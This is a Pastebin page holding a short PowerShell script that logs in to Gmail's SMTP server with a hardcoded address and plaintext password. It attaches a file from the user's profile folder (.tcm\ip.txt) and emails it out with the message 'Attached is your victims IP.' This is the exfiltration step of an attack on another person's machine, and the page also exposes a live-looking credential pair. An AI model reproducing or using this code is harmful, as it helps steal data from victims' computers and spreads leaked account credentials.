Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $SMTPServer = 'smtp.gmail.com'
- $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- $SMTPInfo.EnableSsl = $true
- $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('moishyg07@gmail.com', 'Moishymoshiach!770')
- $ReportEmail = New-Object System.Net.Mail.MailMessage
- $ReportEmail.From = 'moishyg07@gmail.com'
- $ReportEmail.To.Add('moishyg07@gmail.com')
- $ReportEmail.Subject = 'IP Report'
- $ReportEmail.Body = 'Attached is your victims IP.'
- $attach = $env:userprofile+'\.tcm\ip.txt'
- $ReportEmail.Attachments.Add($attach)
- $SMTPInfo.Send($ReportEmail)
Add Comment
Please, Sign In to add comment